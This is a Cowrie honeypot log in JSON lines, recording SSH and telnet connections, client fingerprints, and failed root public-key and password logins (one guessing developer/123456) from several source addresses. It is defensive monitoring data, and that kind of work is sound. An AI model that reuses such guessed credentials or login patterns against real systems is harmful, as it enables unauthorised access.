{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.672114Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:bc:50:87:7b:e5:5b:b5:71:a2:90:ce:4e:8d:d5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1ZQC2j41Y8+Gzmit9Y+e3r1XcNLzYrx+saMF9kkGAdDRzd9fjI7nIS4a9TQdWc36jEQ7QlqjerFGQEQoKtNo/8uwHvvGy0dagSD77BBirVrYaWpMrnRmI+dW8qFKqv54KBY89SYiiH0qhnjjekcM+001gmY0MkQCKV7WBQZbm+LaICGNtomMYZxX703JHd9OHGdUKs9NV1FmwwaE/6SD2KNuk+7WTNdgQavN2ze/MNe34trl0o6JuDnJIG2yonbRZjPxGrmr6ACGX1/y+RfOdyew39O51RvyYkVEQQaMZ7LAk2Mo77LQrKu/e0oW1hZn+FTPlSwGaxafv5Ff5fAb7QiguwERS2a5BExiyrctueoxcsTy8+i8zfd2K9e/KnZT19qsyIwiCHEM8fJv1kPIEnzp/ZbxqheO4iHpiRA/eIodHB8mrPvV0dNralRmjnHIuuCMVMMUhplJr4QQpE3FYtu/y5oaO+9xWaH+4JO7374oB87inTx74lUJk5/XhQLPvfT6i6GKY4+Zn0B86ktmuZ0VG8p/6s/WeRq78a9kTJIVagheSkraWPsHsJ3V8DnnaADuzRzJDCu9JTmjDLMZsOF/r1pdensveqEmDD9aGSLP7lzymLchRrDLRenKbdu4ieVPbk69IbVmmC1a7onT82KZD/TEGVutwsuW7d3Evw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:bc:50:87:7b:e5:5b:b5:71:a2:90:ce:4e:8d:d5:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.689321Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:bc:50:87:7b:e5:5b:b5:71:a2:90:ce:4e:8d:d5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1ZQC2j41Y8+Gzmit9Y+e3r1XcNLzYrx+saMF9kkGAdDRzd9fjI7nIS4a9TQdWc36jEQ7QlqjerFGQEQoKtNo/8uwHvvGy0dagSD77BBirVrYaWpMrnRmI+dW8qFKqv54KBY89SYiiH0qhnjjekcM+001gmY0MkQCKV7WBQZbm+LaICGNtomMYZxX703JHd9OHGdUKs9NV1FmwwaE/6SD2KNuk+7WTNdgQavN2ze/MNe34trl0o6JuDnJIG2yonbRZjPxGrmr6ACGX1/y+RfOdyew39O51RvyYkVEQQaMZ7LAk2Mo77LQrKu/e0oW1hZn+FTPlSwGaxafv5Ff5fAb7QiguwERS2a5BExiyrctueoxcsTy8+i8zfd2K9e/KnZT19qsyIwiCHEM8fJv1kPIEnzp/ZbxqheO4iHpiRA/eIodHB8mrPvV0dNralRmjnHIuuCMVMMUhplJr4QQpE3FYtu/y5oaO+9xWaH+4JO7374oB87inTx74lUJk5/XhQLPvfT6i6GKY4+Zn0B86ktmuZ0VG8p/6s/WeRq78a9kTJIVagheSkraWPsHsJ3V8DnnaADuzRzJDCu9JTmjDLMZsOF/r1pdensveqEmDD9aGSLP7lzymLchRrDLRenKbdu4ieVPbk69IbVmmC1a7onT82KZD/TEGVutwsuW7d3Evw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.694184Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:f5:c1:8e:cd:e9:d0:a7:77:00:c3:ab:63:b5:b1:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUD4DByfGKWwFCPLhYjy3QQCwJp9cYILM8tsQiptuxuncS25uPF+E1ReXrJb+++dmUbhX8l42/5QTtWuZoFTmjs4bU1XhyUz7P/Qa4ecI0r0BKn2yeRqluVmZjUZfsgOHEp1LEGXJqWU23IJy0x0WqbfDMIHiNzDveISDvwm1UAgJYOz5plH79T+nQLvteYDDKfQD1T5qJT0gR4aGzkDqrl5jP88Se3cpt8/9Tb3f6GInoAIy0tS6OoBaj7eGKbXgfP4YxmfoCtM3y6MnaLbgn17Ey7o+AgbzKsr7pGin33mmep7gzlusQ2JXHARYSaWWe+Z9AbOCZkKhBtEg9Bqbh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:f5:c1:8e:cd:e9:d0:a7:77:00:c3:ab:63:b5:b1:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.703546Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:f5:c1:8e:cd:e9:d0:a7:77:00:c3:ab:63:b5:b1:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUD4DByfGKWwFCPLhYjy3QQCwJp9cYILM8tsQiptuxuncS25uPF+E1ReXrJb+++dmUbhX8l42/5QTtWuZoFTmjs4bU1XhyUz7P/Qa4ecI0r0BKn2yeRqluVmZjUZfsgOHEp1LEGXJqWU23IJy0x0WqbfDMIHiNzDveISDvwm1UAgJYOz5plH79T+nQLvteYDDKfQD1T5qJT0gR4aGzkDqrl5jP88Se3cpt8/9Tb3f6GInoAIy0tS6OoBaj7eGKbXgfP4YxmfoCtM3y6MnaLbgn17Ey7o+AgbzKsr7pGin33mmep7gzlusQ2JXHARYSaWWe+Z9AbOCZkKhBtEg9Bqbh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.707781Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:11:6d:8a:85:61:20:3b:21:5c:2d:ba:f5:e7:06:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7REkr50XbjKXgVE/9jQH8lkLhTt1PTKDxzXp/FBf587Yo6JEB2g8vDrh8idFRoCxGi+4M8Mc5g1Q0FXO1lms+W89bI4LihZ+qwBZqQdyTl13LWp8qc1RvWzm96HMMWQU7crsVmdo9wKucJIqotZjNU+/6GwpOKbPrRQ6nZI2jGvWX1Mkil2Qpe+dFz8p8Xs0MhJdDKhwcZvVxHOrxoT5WhScdtUrcyqGxBZR8VuE77YIvePQfcaZeNZGwbSqV5xETa46uaXtt7I09JnUtQ/s0o17aqfjbKKx5KpPZFdqkoB21rWLmrgPHsyLEcs1CcR7Qd2T1/sIA3/SCYRt8nZ1B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:11:6d:8a:85:61:20:3b:21:5c:2d:ba:f5:e7:06:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.715755Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:11:6d:8a:85:61:20:3b:21:5c:2d:ba:f5:e7:06:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7REkr50XbjKXgVE/9jQH8lkLhTt1PTKDxzXp/FBf587Yo6JEB2g8vDrh8idFRoCxGi+4M8Mc5g1Q0FXO1lms+W89bI4LihZ+qwBZqQdyTl13LWp8qc1RvWzm96HMMWQU7crsVmdo9wKucJIqotZjNU+/6GwpOKbPrRQ6nZI2jGvWX1Mkil2Qpe+dFz8p8Xs0MhJdDKhwcZvVxHOrxoT5WhScdtUrcyqGxBZR8VuE77YIvePQfcaZeNZGwbSqV5xETa46uaXtt7I09JnUtQ/s0o17aqfjbKKx5KpPZFdqkoB21rWLmrgPHsyLEcs1CcR7Qd2T1/sIA3/SCYRt8nZ1B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.719334Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:60:e4:6a:a5:dd:60:c4:a2:ba:b9:e3:83:ba:78:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKF1HFKvH19fVTp+iwwVZjPv5/kM5ZM42DyR/FmocAOPiEMrhjj9L7MdzaayI1/bY24kvCRPHfVCNVNd7aqiztmvyXQdTRK+8/zA798sv2MVZZFqm7HvJJN/Iyg6VboA+2uzQD2qhu4vjVrBzzbnaHRvxAM+OocMM3WFOB0rmpZAs0IdYGBjanduQU28uO61+gYIsUjbSDccHAXvLVWZDiCfxg+DrRO5s5nL28A0TPy/AcNiNGut1fGTavUpYOzQlfArd1+0z2+GqQvEvXPMZxtrBdIq6LQaPuG4WVHqGBlsm8CsGaQfrdOKIH+POuPf/GFw0MwiulSLikAR1pQ0xQfvuJtZmfEk/7cLRd4rBfX0Pdodmy9G3mPDig2oI6JEii8Z8GdhvZF7g+/VkormpWoI6cGzQhKnH0d60mJ29MmthGqLN5p7yIwOeI41ShKotxJhwGjfIi4Jod6F/IXokMCnz0wHDhz+G0H24sxPUuJx1AR/JvRm1U3h0wHcFLwqapIlPjFwaF5afk1sME5e4oFG5lFvN8ocOKJ13lrpz+dyqTEacPkn6u+VgeSPGxUEHWNrgD3XpvmBE1T3GU+dlbIiZveXoi+jqr0j9xt2+qXcxXZ1jlbgQk5GkINfobH6Ez2txpNiBIP5WTnflH6E0O4Lu82d0BmPkeJV0gyY4+rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:60:e4:6a:a5:dd:60:c4:a2:ba:b9:e3:83:ba:78:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.728861Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:60:e4:6a:a5:dd:60:c4:a2:ba:b9:e3:83:ba:78:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKF1HFKvH19fVTp+iwwVZjPv5/kM5ZM42DyR/FmocAOPiEMrhjj9L7MdzaayI1/bY24kvCRPHfVCNVNd7aqiztmvyXQdTRK+8/zA798sv2MVZZFqm7HvJJN/Iyg6VboA+2uzQD2qhu4vjVrBzzbnaHRvxAM+OocMM3WFOB0rmpZAs0IdYGBjanduQU28uO61+gYIsUjbSDccHAXvLVWZDiCfxg+DrRO5s5nL28A0TPy/AcNiNGut1fGTavUpYOzQlfArd1+0z2+GqQvEvXPMZxtrBdIq6LQaPuG4WVHqGBlsm8CsGaQfrdOKIH+POuPf/GFw0MwiulSLikAR1pQ0xQfvuJtZmfEk/7cLRd4rBfX0Pdodmy9G3mPDig2oI6JEii8Z8GdhvZF7g+/VkormpWoI6cGzQhKnH0d60mJ29MmthGqLN5p7yIwOeI41ShKotxJhwGjfIi4Jod6F/IXokMCnz0wHDhz+G0H24sxPUuJx1AR/JvRm1U3h0wHcFLwqapIlPjFwaF5afk1sME5e4oFG5lFvN8ocOKJ13lrpz+dyqTEacPkn6u+VgeSPGxUEHWNrgD3XpvmBE1T3GU+dlbIiZveXoi+jqr0j9xt2+qXcxXZ1jlbgQk5GkINfobH6Ez2txpNiBIP5WTnflH6E0O4Lu82d0BmPkeJV0gyY4+rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.732638Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:51:7c:62:91:28:1b:66:9e:eb:ca:a7:d3:e6:75:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsESgAatFv/ArfWsqj42XklqPMzpv68AOk90mntZ/4wzdzARokQIam3gaoPEqsyEIk+Vps917OdDahbPlsHn8JmjmcnjAvda4MN04jZpZOz158/E1K9kWIhzYgVnz4gp4zqvT7SLB2CNqH8pC78b6rR4Q3T/EyxemvV90CwCE875yTjdiVsJ8wyh36/P5HyW5OP/Hpq7p7BcX0qCIgEaHZ+ftlsoewt8VlYnuNd2J/XYySkrVsix4gdWRivZzMfnpZshcuXYc5J1M6fxqwM3LDb0jmj7RceV4upwUCDHS9COccqWGwXJFbt0NDswb0NUc4sbR8p2BZth4TcxZG9lPzZ5KY0feDXLciwG/UqN/9/EI28iBNgH4w6bzV41BSd1kleLTHJryoKsupwMM7NIt4M6mGuC8Vq2O5nyzBi61DW2/NayXB5c/MzMISCvfFH4pUJn0UB2mFWvb9WP33i8wAZiY0hq6pU12ZwOdcX/YOp0LQR7NJvRuDCxssPN7PQ4E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:51:7c:62:91:28:1b:66:9e:eb:ca:a7:d3:e6:75:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.744257Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:51:7c:62:91:28:1b:66:9e:eb:ca:a7:d3:e6:75:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsESgAatFv/ArfWsqj42XklqPMzpv68AOk90mntZ/4wzdzARokQIam3gaoPEqsyEIk+Vps917OdDahbPlsHn8JmjmcnjAvda4MN04jZpZOz158/E1K9kWIhzYgVnz4gp4zqvT7SLB2CNqH8pC78b6rR4Q3T/EyxemvV90CwCE875yTjdiVsJ8wyh36/P5HyW5OP/Hpq7p7BcX0qCIgEaHZ+ftlsoewt8VlYnuNd2J/XYySkrVsix4gdWRivZzMfnpZshcuXYc5J1M6fxqwM3LDb0jmj7RceV4upwUCDHS9COccqWGwXJFbt0NDswb0NUc4sbR8p2BZth4TcxZG9lPzZ5KY0feDXLciwG/UqN/9/EI28iBNgH4w6bzV41BSd1kleLTHJryoKsupwMM7NIt4M6mGuC8Vq2O5nyzBi61DW2/NayXB5c/MzMISCvfFH4pUJn0UB2mFWvb9WP33i8wAZiY0hq6pU12ZwOdcX/YOp0LQR7NJvRuDCxssPN7PQ4E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.748063Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.755588Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6b99ef75bc","protocol":"telnet","message":"New connection: 192.119.13.58:60928 (10.17.0.5:23) [session: 9c6b99ef75bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:59.774443Z"}
{"eventid":"cowrie.session.closed","duration":48.88868069648743,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:01.324560Z","src_ip":"192.119.13.58","session":"5fdfaa7ab2a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.214070558547974,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:02.466609Z","src_ip":"192.119.13.58","session":"21ab880e2cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":44919,"dst_ip":"159.203.135.109","dst_port":22,"session":"703caef8e603","protocol":"ssh","message":"New connection: 103.24.63.85:44919 (159.203.135.109:22) [session: 703caef8e603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:04.124334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:04.146831Z","src_ip":"103.24.63.85","session":"703caef8e603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:04.333020Z","src_ip":"103.24.63.85","session":"703caef8e603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:05.151095Z","src_ip":"103.24.63.85","session":"703caef8e603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.41852593421936,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:06.247321Z","src_ip":"192.119.13.58","session":"ed5f5be53f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:06.360835Z","src_ip":"103.24.63.85","session":"703caef8e603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2b6e6515a7e","protocol":"ssh","message":"New connection: 77.105.130.18:43924 (159.203.135.109:22) [session: a2b6e6515a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.044941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.049965Z","src_ip":"77.105.130.18","session":"a2b6e6515a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.149092Z","src_ip":"77.105.130.18","session":"a2b6e6515a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.176","src_port":44646,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e55ddd31f6f","protocol":"ssh","message":"New connection: 184.154.157.176:44646 (10.17.0.5:22) [session: 9e55ddd31f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.327474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.332647Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.359914Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
